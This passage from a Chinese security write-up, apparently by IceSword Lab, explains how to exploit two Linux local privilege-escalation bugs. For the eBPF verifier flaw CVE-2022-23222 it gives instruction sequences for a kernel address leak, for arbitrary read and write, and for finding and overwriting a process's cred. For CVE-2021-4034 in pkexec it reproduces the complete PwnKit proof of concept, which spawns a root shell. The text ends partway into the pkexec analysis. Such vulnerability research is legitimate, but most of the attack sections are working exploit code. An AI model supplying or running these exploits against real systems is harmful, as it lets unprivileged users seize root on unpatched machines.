创建 2 个 eBPF map ,类型分别为 BPF_MAP_TYPE_ARRAY 及 BPF_MAP_TYPE_RINGBUF。

1
2
3
4
5
6
7
8
9
10
11
12
ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(u32), PAGE_SIZE, 1);
if (ret < 0) {
WARNF("Failed to create comm map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->comm_fd = ret;

if ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)) < 0) {
WARNF("Could not create ringbuf map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->ringbuf_fd = ret;

前者在 POC 中的作用为:

  1. 和内核交换数据。
  2. 泄露其元素的地址。

后者的作用则为:

  1. 和内核交换数据。
  2. 通过 bpf_ringbuf_reserve 辅助函数获取 PTR_TO_MEM_OR_NULL 类型指针 。

4.2 泄露内核地址

泄露内核地址的方法为构造特定的 eBFP 程序以利用前述漏洞。

先将 r1 保存到 r9 。r1 在进入 eBPF 程序之前被内核初始化为指向 skb 的指针。

1
2
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1)

获取 array 指针,保存在 r0 。调试发现,array 指针都是 0xFFFF…10 这种格式。

1
2
3
4
5
6
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd)
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0)
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4)
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem)

上一步获取的 r0 类型为 PTR_TO_MAP_VALUE_OR_NULL 。进行以下判断后,在 false 分支 r0 类型就变成 PTR_TO_MAP_VALUE。

1
2
3
4
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2)
BPF_MOV64_IMM(BPF_REG_0, 1)
BPF_EXIT_INSN()

将 array 指针保存进 r8。

1
2
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0)

调用 bpf_ringbuf_reserve 函数,请求 PAGE_SIZE 的 ringbuf 内存,返回值为 PTR_TO_MEM_OR_NULL 类型指针,属于漏洞中没有过滤的指针类型。

1
2
3
4
5
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd)
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE)
BPF_MOV64_IMM(BPF_REG_3, 0x00)
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve)

复制 r0 到 r1 ,r1 的类型变为 PTR_TO_MEM_OR_NULL ,id 也变成 r0 的 id 。这里提一下,verifier 会维护 eBPF 寄存器的 id 属性,用于追踪指针类型的来源。

1
2
// r0 = r1
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0)

之后,r1 自身加 1。

1
2
// r1 = r1 + 1
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1)

参考 adjust_ptr_min_max_vals 函数的代码,在指针加减操作中,目标寄存器的 id 和类型会变成指针寄存器的 id 和类型。由于在上一步中 r1 既是目标寄存器也是指针寄存器,其 id 和类型保持不变。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
...

/* In case of 'scalar += pointer', dst_reg inherits pointer type and id.
* The id may be overwritten later if we create a new variable offset.
*/
dst_reg->type = ptr_reg->type;
dst_reg->id = ptr_reg->id;

...
}

检查 r0 是否为 NULL 。事实上,r0 不为 NULL 的情况不可能发生。ringbuf 的大小虽然为 PAGE_SIZE ,但其中一部分用于存储关于 ringbuf 的结构体,剩下的才用于存储数据。因此,请求保留 PAGE_SIZE 的内存不可能实现。经过此步骤后,r0 的类型变为 SCALAR_VALUE ,其值为 0 。那么,与 r0 具有相同 id 的 r1 的类型和值又会如何变化呢?

1
2
3
4
5
6
7
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0)
BPF_MOV64_IMM(BPF_REG_2, 1)
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard)
BPF_MOV64_IMM(BPF_REG_0, 2)
BPF_EXIT_INSN()

check_cond_jmp_op 是 verifier 中检查 JMP 指令的函数,当 JMP 指令的条件是 *OR_NULL 类型指针和 0 比较时,会通过 mark_ptr_or_null_regs 函数改变不同分支中寄存器的类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static int check_cond_jmp_op(struct bpf_verifier_env *env,
struct bpf_insn *insn, int *insn_idx)
{
...

/* detect if R == 0 where R is returned from bpf_map_lookup_elem().
* NOTE: these optimizations below are related with pointer comparison
* which will never be JMP32.
*/
if (!is_jmp32 && BPF_SRC(insn->code) == BPF_K &&
insn->imm == 0 && (opcode == BPF_JEQ || opcode == BPF_JNE) &&
reg_type_may_be_null(dst_reg->type)) {
/* Mark all identical registers in each branch as either
* safe or unknown depending R == 0 or R != 0 conditional.
*/
mark_ptr_or_null_regs(this_branch, insn->dst_reg,
opcode == BPF_JNE);
mark_ptr_or_null_regs(other_branch, insn->dst_reg,
opcode == BPF_JEQ);
}

...
}

mark_ptr_or_null_regs 函数又调用了 __mark_ptr_or_null_regs 函数,在后者中,所有相同 id 的寄存器都会被 mark_ptr_or_null_reg 函数进行相同的处理。因此,后续 r1 也会变成 SCALAR_VALUE 类型,且 verifier 认为其值为 0 。然而,事实上 r1 的值为 1 。这就是漏洞所在,PTR_TO_MEM_OR_NULL 类型的指针无论经过加减运算变成何值,只要经过是否为 NULL 的判断,在其中一个分支 verifier 都会认为其值为 0 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static void __mark_ptr_or_null_regs(struct bpf_func_state *state, u32 id,
bool is_null)
{
...

for (i = 0; i < MAX_BPF_REG; i++)
mark_ptr_or_null_reg(state, &state->regs[i], id, is_null);

...
}

static void mark_ptr_or_null_reg(struct bpf_func_state *state,
struct bpf_reg_state *reg, u32 id,
bool is_null)
{
...

if (WARN_ON_ONCE(reg->smin_value || reg->smax_value ||
!tnum_equals_const(reg->var_off, 0) ||
reg->off)) {
__mark_reg_known_zero(reg);
reg->off = 0;
}
if (is_null) {
reg->type = SCALAR_VALUE;
}

...
}

接着,将 r1+8 保存到 r7 。verifier 认为 r7 值为 8 ,实际上 r7 值为 9 。再将 array 指针 r8 加上 0xE0 的值保存到 r10-8 处,之所以加上 0xE0 是为了泄露更多数据,后面会补充说明。

通过 bpf_skb_load_bytes_relative 向 r10-16 写入 r7 个字节,即 9 个字节,溢出了 1 个字节。所写入的数据是可控的,可在用户态通过写入 socket 传递进内核态。在这里将控制写入数据为全零数据,即 r10-8 处的字节会被 0x00 覆盖。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// r7 = r1 + 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8)

// r6 = r8 - 0xE0
BPF_MOV64_REG(BPF_REG_6, BPF_REG_8)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xE0)
// *(u64 *)(r10 - 8) = r6
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8)

// 这里会将r10-16后r7个字节置零。
// r0 = bpf_skb_load_bytes_relative(r9, 0, r10-16, r7, 0)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9)
BPF_MOV64_IMM(BPF_REG_2, 0)
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16)
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7)
BPF_MOV64_IMM(BPF_REG_5, 1)
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative)

将栈上的 array 指针取出,并减去 0xE0 ,与前面对应,结果保存进 r6 。一加一减,verifier会认为 r6 仍为 array 指针,即等于 0xFFFF…10 。而实际上,r6 等于 0xFFFF…10 - 0xE0 。这里可以选择加减 0x10 ~ 0xE0 ,选择 0xE0 泄露的数据较多。接着,将 r6 所指向的 PAGE_SIZE 字节数据复制到 array 指针处,实现信息泄露。调试发现,泄露的数据中就包含 array 指针,在 0xFFFF…10 - 0x50 处。

1
2
3
4
5
6
7
8
9
10
11
12
// r6 = *(u64 *)(r10 - 8) - 0xE0
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8)
BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 0xE0)

// 将r6所指向的4096字节数据写入array map,实现信息泄露。
// 调试发现,r6+0xa0处为array map的地址。
// map_update_elem(ctx->comm_fd, 0, r6, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd)
BPF_MOV64_REG(BPF_REG_2, BPF_REG_8)
BPF_MOV64_REG(BPF_REG_3, BPF_REG_6)
BPF_MOV64_IMM(BPF_REG_4, 0)
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem)

构造好程序后,就可将其加载进内核,attach 到 socket 上,向 socket 写入全零数据以覆盖栈上的 array 指针,再从 array map 中获取泄露的数据,从中找出 array 指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, sizeof(insn) / sizeof(insn[0]), "");
if (prog < 0) {
WARNF("Could not load program(do_leak):\n %s", bpf_log_buf);
goto abort;
}

int err = bpf_prog_skb_run(prog, ctx->bytes, 8);

if (err != 0) {
WARNF("Could not run program(do_leak): %d (%s)", err, strerror(err));
goto abort;
}

int key = 0;
err = bpf_lookup_elem(ctx->comm_fd, &key, ctx->bytes);
if (err != 0) {
WARNF("Could not lookup comm map: %d (%s)", err, strerror(err));
goto abort;
}

u64 array_map = (u64)ctx->ptrs[20] & (~0xFFL);
if ((array_map&0xFFFFF00000000000) != 0xFFFF800000000000) {
WARNF("Could not leak array map: got %p", (kaddr_t)array_map);
goto abort;
}

static __always_inline int
bpf_prog_skb_run(int prog_fd, const void *data, size_t size)
{
int err, socks[2] = {};

if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) != 0)
return errno;

if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF,
&prog_fd, sizeof(prog_fd)) != 0)
{
err = errno;
goto abort;
}

if (write(socks[1], data, size) != size)
{
err = -1;
goto abort;
}

err = 0;

abort:
close(socks[0]);
close(socks[1]);
return err;
}

4.3 构造任意读、写原语

接下来构造的 eBPF 程序和上一程序及其类似,因此通过添加注释的方式进行说明。

实现任意读原语的 eBPF 程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
struct bpf_insn arbitrary_read[] = {
// 保存r1,r1被内核初始化为指向skb的指针。
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),

// 获取array指针,r0类型为PTR_TO_MAP_VALUE_OR_NULL。
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

// 必需的判断,令false分支的r0变成PTR_TO_MAP_VALUE类型。
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),

// 将array指针保存进r8。
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),

// 获取PTR_TO_MEM_OR_NULL类型指针,保存在r0。
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),

// 复制PTR_TO_MEM_OR_NULL类型指针,副本保存在r1。
// r1 = r0
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
// r1 = r1 + 1
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

// 不可能发生。ringbuf的大小虽然为PAGE_SIZE,但其中一部分用于存储关于ringbuf的结构体,剩下的才用于存储数据。
// 因此,请求保留PAGE_SIZE的内存不可能实现。
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),

// 经过上面的NULL检查后,verifier认为r0=0。
// 由于r1是由r0派生出来的,因此verifier也会认为r1=0。但实际上,r1=1。

// r7 = (r1 + 1) * 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),

// verifier认为r7=8,但实际上r7=16。

// 调试发现array指针都是0xFFFF..........10
// 将该指针保存到r10-8处
// *(u64 *)(r10 - 8) = r8
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),

// 向r10-16写入r7=16个字节,覆盖r10-8处的array指针。
// 写入字节为可控,可将array指针改成任意地址。
// r0 = bpf_skb_load_bytes_relative(r9, 0, r10-16, r7, 0)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_5, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),

// 获取修改后的指针。
// r6 = *(u64 *)(r10 - 8)
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),

// 获取修改后指针所指向的8个字节数据,实现任意读。
// 之所以可以读取成功,是因为verifier以为该指针仍为array指针。
// r0 = *(u64 *)(r6 + 0)
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_6, 0),

// 将读取的数据写入array map传回用户态。
// *(u64 *)(r8 + 0) = r0
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0),

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};

实现任意写原语的 eBPF 程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
struct bpf_insn arbitrary_write[] = {
// 保存r1,r1被内核初始化为指向skb的指针。
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),

// 获取array指针,r0类型为PTR_TO_MAP_VALUE_OR_NULL。
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

// 必需的判断,令false分支的r0变成PTR_TO_MAP_VALUE类型。
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),

// 将array指针保存进r8。
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),

// 获取PTR_TO_MEM_OR_NULL类型指针,保存在r0。
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),

// 复制PTR_TO_MEM_OR_NULL类型指针,副本保存在r1。
// r1 = r0
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
// r1 = r1 + 1
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

// 不可能发生。ringbuf的大小虽然为PAGE_SIZE,但其中一部分用于存储关于ringbuf的结构体,剩下的才用于存储数据。
// 因此,请求保留PAGE_SIZE的内存不可能实现。
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),

// 经过上面的NULL检查后,verifier认为r0=0。
// 由于r1是由r0派生出来的,因此verifier也会认为r1=0。但实际上,r1=1。

// r7 = (r1 + 1) * 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),

// verifier认为r7=8,但实际上r7=16。

// 调试发现array指针都是0xFFFF..........10
// 将该指针保存到r10-8处
// *(u64 *)(r10 - 8) = r8
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),

// 向r10-16写入r7=16个字节,覆盖r10-8处的array指针。
// 写入字节为可控,可将array指针改成任意地址。
// r0 = bpf_skb_load_bytes_relative(r9, 0, r10-16, r7, 0)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_5, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),

// 获取修改后的指针。
// r6 = *(u64 *)(r10 - 8)
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),

// 从array map中获取从用户态传入的数据。
// r0决定写入8字节还是4字节,r1则为写入的值。
// r0 = *(u64 *)(r8 + 8)
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0),
// r1 = *(u64 *)(r8 + 8)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, 8),

// 实现任意写。
// 之所以可以写入成功,是因为verifier以为r6仍为array指针。
// if (r0 == 0) { *(u64*)r6 = r1 }
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, 0),
BPF_JMP_IMM(BPF_JA, 0, 0, 1),
// else { *(u32*)r6 = r1 }
BPF_STX_MEM(BPF_W, BPF_REG_6, BPF_REG_1, 0),

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};

4.4 定位进程cred

调试发现,进程的 cred 有一定概率在泄露的 array 指针之后。因此需要多创建几个进程,避免利用失败。

所有进程通过 prctl(PR_SET_NAME, __ID__, 0, 0, 0) 将进程名称设置为固定字符串,在此使用 SCSLSCSL 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int spawn_processes(context_t *ctx)
{
for (int i = 0; i < PROC_NUM; i++)
{
pid_t child = fork();
if (child == 0) {
if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) {
WARNF("Could not set name");
}
uid_t old = getuid();
kill(getpid(), SIGSTOP);
uid_t uid = getuid();
if (uid == 0 && old != uid) {
OKF("Enjoy root!");
system("/bin/sh");
}
exit(uid);
}
if (child < 0) {
return child;
}
ctx->processes[i] = child;
}

return 0;
}

之后,各进程依次尝试通过任意读原语,在 array 指针之后 PAGE_SIZE * PAGE_SIZE 大小的内核空间搜索 SCSLSCSL 字符串,来定位进程的 cred 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int find_cred(context_t *ctx)
{
for (int i = 0; i < PAGE_SIZE*PAGE_SIZE ; i++)
{
u64 val = 0;
kaddr_t addr = ctx->array_map + PAGE_SIZE + i*0x8;
if (arbitrary_read(ctx, addr, &val, BPF_DW) != 0) {
WARNF("Could not read kernel address %p", addr);
return -1;
}

// DEBUGF("addr %p = 0x%016x", addr, val);

if (memcmp(&val, __ID__, sizeof(val)) == 0) {
kaddr_t cred_from_task = addr - 0x10;

if (arbitrary_read(ctx, cred_from_task + 8, &val, BPF_DW) != 0) {
WARNF("Could not read kernel address %p + 8", cred_from_task);
return -1;
}

if (val == 0 && arbitrary_read(ctx, cred_from_task, &val, BPF_DW) != 0) {
WARNF("Could not read kernel address %p + 0", cred_from_task);
return -1;
}

if (val != 0) {
ctx->cred = (kaddr_t)val;
DEBUGF("task struct ~ %p", cred_from_task);
DEBUGF("cred @ %p", ctx->cred);
return 0;
}


}
}

return -1;
}

4.5 实现提权

定位到进程 cred 后,即可通过任意写原语修改 cred ,实现提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int overwrite_cred(context_t *ctx)
{
if (arbitrary_write(ctx, ctx->cred + OFFSET_uid_from_cred, 0, BPF_W) != 0) {
return -1;
}
if (arbitrary_write(ctx, ctx->cred + OFFSET_gid_from_cred, 0, BPF_W) != 0) {
return -1;
}
if (arbitrary_write(ctx, ctx->cred + OFFSET_euid_from_cred, 0, BPF_W) != 0) {
return -1;
}
if (arbitrary_write(ctx, ctx->cred + OFFSET_egid_from_cred, 0, BPF_W) != 0) {
return -1;
}

return 0;
}

参考

cve-2022-23222-linux-kernel-ebpf-lpe.txt

The Good, Bad and Compromisable Aspects of Linux eBPF - Pentera

eBPF - Introduction, Tutorials & Community Resources

eBPF Instruction Set — The Linux Kernel documentation

BPF 进阶笔记(一):BPF 程序(BPF Prog)类型详解:使用场景、函数签名、执行位置及程序示例

bpf-helpers(7) - Linux manual page

Libbpf: A Beginners Guide

Building BPF applications with libbpf-bootstrap

BPF ring buffer

bcc/reference_guide.md at master · iovisor/bcc

CVE-2021-4034 pkexec 本地提权漏洞利用解析

0x00 作者

钱程 of IceSword Lab

0x01 漏洞基本信息

polkit 的 pkexec 程序中存在一个本地权限提升漏洞。当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导 pkexec 执行任意代码。利用成功后,会导致本地特权升级,非特权用户获得管理员权限

软件简介

polkit 是一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。

Polkit 在系统层级进行权限控制,提供了一个低优先级进程和高优先级进程进行通讯的系统。和 sudo 等程序不同,Polkit 并没有赋予进程完全的 root 权限,而是通过一个集中的策略系统进行更精细的授权。

Polkit 定义出一系列操作,例如运行 GParted, 并将用户按照群组或用户名进行划分,例如 wheel 群组用户。然后定义每个操作是否可以由某些用户执行,执行操作前是否需要一些额外的确认,例如通过输入密码确认用户是不是属于某个群组。

https://wiki.archlinux.org/title/Polkit_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)

漏洞原理概括

当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导 pkexec 执行任意代码。

前置知识

pkexec 是 polkit 的一个程序,可以以其他用户身份执行命令。

1
2
3
4
5
6
7
➜ pkexec --help
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.

不指定 --user 参数时,缺省为 root。比如:

1
pkexec reboot

7X2MRK.png

漏洞环境搭建

环境没有特殊要求,主流 Linux 发行版都可以。

本次测试的环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜ uname -a
Linux ubuntu 5.11.0-46-generic #51~20.04.1-Ubuntu SMP Fri Jan 7 06:51:40 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
~
➜ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.3 LTS
Release: 20.04
Codename: focal
➜ gcc --version
gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
➜ pkexec --version
pkexec version 0.105

0x02 漏洞分析

对该漏洞的分析将结合已知的 POC 和 Qualys 的报告进行。

分析 POC

先来分析 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <unistd.h>
4
5 char *shell =
6 "#include <stdio.h>\n"
7 "#include <stdlib.h>\n"
8 "#include <unistd.h>\n\n"
9 "void gconv() {}\n"
10 "void gconv_init() {\n"
11 " setuid(0); setgid(0);\n"
12 " seteuid(0); setegid(0);\n"
13 " system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
14 " exit(0);\n"
15 "}";
16
17 int main(int argc, char *argv[]) {
18 FILE *fp;
19 system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
20 system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
21 fp = fopen("pwnkit/pwnkit.c", "w");
22 fprintf(fp, "%s", shell);
23 fclose(fp);
24 system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
25 char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
26 execve("/usr/bin/pkexec", (char*[]){NULL}, env);
27 }

在该 POC 中:

  1. L5-L15,即 payload,引入了一个 root 权限的 /bin/sh
  2. L19,创建目录 GCONV_PATH=.,创建文件 GCONV_PATH=./pwnkit 并添加了执行权限
  3. L20,创建目录 pwnkit,创建文件 pwnkit/gconv-modules 并写入内容 module UTF-8// PWNKIT// pwnkit 2
  4. L21-L24,把 payload 写入 pwnkit/pwnkit.c 并编译为动态链接库 pwnkit/pwnkit.so
  5. L25,一个特殊的数组
  6. L26,使用 execve 调用 pkexec,这里有个特别的参数 (char*[]){NULL},这也是整个 POC 的启动点

测试一下 POC:

7X2QxO.png

奇妙的 argc 为 0

argc 和 argv 大家都熟悉,为了后面的分析这里再介绍一下:

  • argc:即 argument count,保存运行时传递给 main 函数的参数个数。
  • argv:即 argument vector,保存运行时传递 main 函数的参数,类型是一个字符指针数组,每个元素是一个字符指针,指向一个命令行参数。
    例如:
  • argv[0] 指向程序运行时的全路径名;
  • argv[1] 指向程序在命令行中执行程序名后的第一个字符串

下面的代码就展示了 argc 和 argv 用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//t.c
#include <stdio.h>
int main(int argc, char *argv[]){
printf("argc:%d\n",argc);
for(int i=0;i<=argc;i++){
printf("argv[%d]:%s\n",i,argv[i]);
}
return 0;
}

➜ gcc t.c -o t
~/t2
➜ ./t
argc:1
argv[0]:./t
argv[1]:(null)
~/t2
➜ ./t -l
argc:2
argv[0]:./t
argv[1]:-l
argv[2]:(null)

execve()

execve() 可以执行程序,使用该函数需要引入 unistd.h 头文件,函数原型:

1
2
int execve(const char *pathname, char *const argv[],
char *const envp[]);

我们使用前面的 t.c 来熟悉一下 execve()

1
2
